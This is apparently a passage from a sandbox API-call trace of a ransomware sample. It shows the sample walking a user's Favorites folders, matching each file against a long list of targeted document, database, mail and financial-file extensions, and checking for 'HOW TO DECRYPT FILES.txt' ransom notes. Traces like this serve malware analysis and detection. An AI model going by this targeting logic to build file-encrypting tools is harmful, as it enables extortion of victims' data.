(lpString="*.mp3") returned 5 [0090.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.aiff") returned 0 [0090.167] lstrlenA (lpString="*.aiff") returned 6 [0090.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.flac") returned 0 [0090.167] lstrlenA (lpString="*.flac") returned 6 [0090.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.m4a") returned 0 [0090.167] lstrlenA (lpString="*.m4a") returned 5 [0090.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", pszSpec="*.csv") returned 0 [0090.167] lstrlenA (lpString="*.csv") returned 5 [0090.167] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0090.167] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.167] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IE site on Microsoft.com.url") returned -1 [0090.167] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IE site on Microsoft.com.url") returned -1 [0090.167] lstrcmpiA (lpString1="", lpString2="IE site on Microsoft.com.url") returned -1 [0090.167] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned="IE Add-on site.url" [0090.168] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0090.168] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="" [0090.168] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt" [0090.168] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to decrypt files.txt")) returned 0x20 [0090.168] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpString2="IE site on Microsoft.com.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" [0090.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.ems") returned 0 [0090.168] lstrlenA (lpString="*.ems") returned 5 [0090.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.db") returned 0 [0090.168] lstrlenA (lpString="*.db") returned 4 [0090.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.dbf") returned 0 [0090.168] lstrlenA (lpString="*.dbf") returned 5 [0090.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.myox") returned 0 [0090.168] lstrlenA (lpString="*.myox") returned 6 [0090.169] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.myo") returned 0 [0090.169] lstrlenA (lpString="*.myo") returned 5 [0090.169] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.qbw") returned 0 [0090.169] lstrlenA (lpString="*.qbw") returned 5 [0090.169] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.qbb") returned 0 [0090.169] lstrlenA (lpString="*.qbb") returned 5 [0090.169] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.qbm") returned 0 [0090.169] lstrlenA (lpString="*.qbm") returned 5 [0090.169] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.qbo") returned 0 [0090.169] lstrlenA (lpString="*.qbo") returned 5 [0090.169] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.qbx") returned 0 [0090.169] lstrlenA (lpString="*.qbx") returned 5 [0090.169] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.qba") returned 0 [0090.169] lstrlenA (lpString="*.qba") returned 5 [0090.169] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.qby") returned 0 [0090.169] lstrlenA (lpString="*.qby") returned 5 [0090.169] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.qbj") returned 0 [0090.169] lstrlenA (lpString="*.qbj") returned 5 [0090.169] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.ofx") returned 0 [0090.170] lstrlenA (lpString="*.ofx") returned 5 [0090.170] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.qif") returned 0 [0090.170] lstrlenA (lpString="*.qif") returned 5 [0090.170] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.mye") returned 0 [0090.170] lstrlenA (lpString="*.mye") returned 5 [0090.170] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.mbox") returned 0 [0090.170] lstrlenA (lpString="*.mbox") returned 6 [0090.170] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.eml") returned 0 [0090.170] lstrlenA (lpString="*.eml") returned 5 [0090.170] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.pst") returned 0 [0090.170] lstrlenA (lpString="*.pst") returned 5 [0090.170] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.ost") returned 0 [0090.170] lstrlenA (lpString="*.ost") returned 5 [0090.170] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.idx") returned 0 [0090.170] lstrlenA (lpString="*.idx") returned 5 [0090.170] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.dbx") returned 0 [0090.170] lstrlenA (lpString="*.dbx") returned 5 [0090.170] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.sql") returned 0 [0090.171] lstrlenA (lpString="*.sql") returned 5 [0090.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.mdb") returned 0 [0090.171] lstrlenA (lpString="*.mdb") returned 5 [0090.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.fdb") returned 0 [0090.171] lstrlenA (lpString="*.fdb") returned 5 [0090.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.wab") returned 0 [0090.171] lstrlenA (lpString="*.wab") returned 5 [0090.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.dat") returned 0 [0090.171] lstrlenA (lpString="*.dat") returned 5 [0090.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.txt") returned 0 [0090.171] lstrlenA (lpString="*.txt") returned 5 [0090.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.jpeg") returned 0 [0090.171] lstrlenA (lpString="*.jpeg") returned 6 [0090.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.jpg") returned 0 [0090.172] lstrlenA (lpString="*.jpg") returned 5 [0090.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.png") returned 0 [0090.172] lstrlenA (lpString="*.png") returned 5 [0090.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.php") returned 0 [0090.172] lstrlenA (lpString="*.php") returned 5 [0090.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.cs") returned 0 [0090.172] lstrlenA (lpString="*.cs") returned 4 [0090.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.cpp") returned 0 [0090.172] lstrlenA (lpString="*.cpp") returned 5 [0090.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.rar") returned 0 [0090.172] lstrlenA (lpString="*.rar") returned 5 [0090.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.zip") returned 0 [0090.172] lstrlenA (lpString="*.zip") returned 5 [0090.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.html") returned 0 [0090.172] lstrlenA (lpString="*.html") returned 6 [0090.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.htm") returned 0 [0090.172] lstrlenA (lpString="*.htm") returned 5 [0090.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.xlsx") returned 0 [0090.173] lstrlenA (lpString="*.xlsx") returned 6 [0090.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.xls") returned 0 [0090.173] lstrlenA (lpString="*.xls") returned 5 [0090.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.mp4") returned 0 [0090.173] lstrlenA (lpString="*.mp4") returned 5 [0090.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.ppt") returned 0 [0090.173] lstrlenA (lpString="*.ppt") returned 5 [0090.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.pptx") returned 0 [0090.173] lstrlenA (lpString="*.pptx") returned 6 [0090.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.doc") returned 0 [0090.173] lstrlenA (lpString="*.doc") returned 5 [0090.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.dot") returned 0 [0090.173] lstrlenA (lpString="*.dot") returned 5 [0090.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", pszSpec="*.docx") returned 0 [0090.173] lstrlenA (lpString="*.docx") returned 6 [0090.174] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0090.174] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.174] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft At Home.url") returned -1 [0090.174] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft At Home.url") returned -1 [0090.174] lstrcmpiA (lpString1="", lpString2="Microsoft At Home.url") returned -1 [0090.174] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned="IE site on Microsoft.com.url" [0090.174] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0090.174] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="" [0090.174] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt" [0090.174] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to decrypt files.txt")) returned 0x20 [0090.174] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpString2="Microsoft At Home.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" [0090.174] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0090.175] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.175] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft At Work.url") returned -1 [0090.175] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft At Work.url") returned -1 [0090.175] lstrcmpiA (lpString1="", lpString2="Microsoft At Work.url") returned -1 [0090.175] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned="Microsoft At Home.url" [0090.175] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0090.175] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="" [0090.175] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt" [0090.175] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to decrypt files.txt")) returned 0x20 [0090.175] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpString2="Microsoft At Work.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" [0090.175] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0090.175] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.175] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft Store.url") returned -1 [0090.176] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft Store.url") returned -1 [0090.176] lstrcmpiA (lpString1="", lpString2="Microsoft Store.url") returned -1 [0090.176] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned="Microsoft At Work.url" [0090.176] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0090.176] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="" [0090.176] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt" [0090.176] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to decrypt files.txt")) returned 0x20 [0090.176] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpString2="Microsoft Store.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" [0090.176] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0090.176] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0090.176] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0090.177] lstrcmpA (lpString1=".", lpString2="MSN Websites") returned -1 [0090.177] lstrcmpA (lpString1="..", lpString2="MSN Websites") returned -1 [0090.177] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*") returned="*.*" [0090.177] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpString2="MSN Websites" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0090.177] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned 52 [0090.177] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0090.180] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.180] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.180] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.180] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.180] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0090.180] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.180] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSN Autos.url") returned -1 [0090.180] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSN Autos.url") returned -1 [0090.180] lstrcmpiA (lpString1="", lpString2="MSN Autos.url") returned -1 [0090.180] PathFindFileNameA 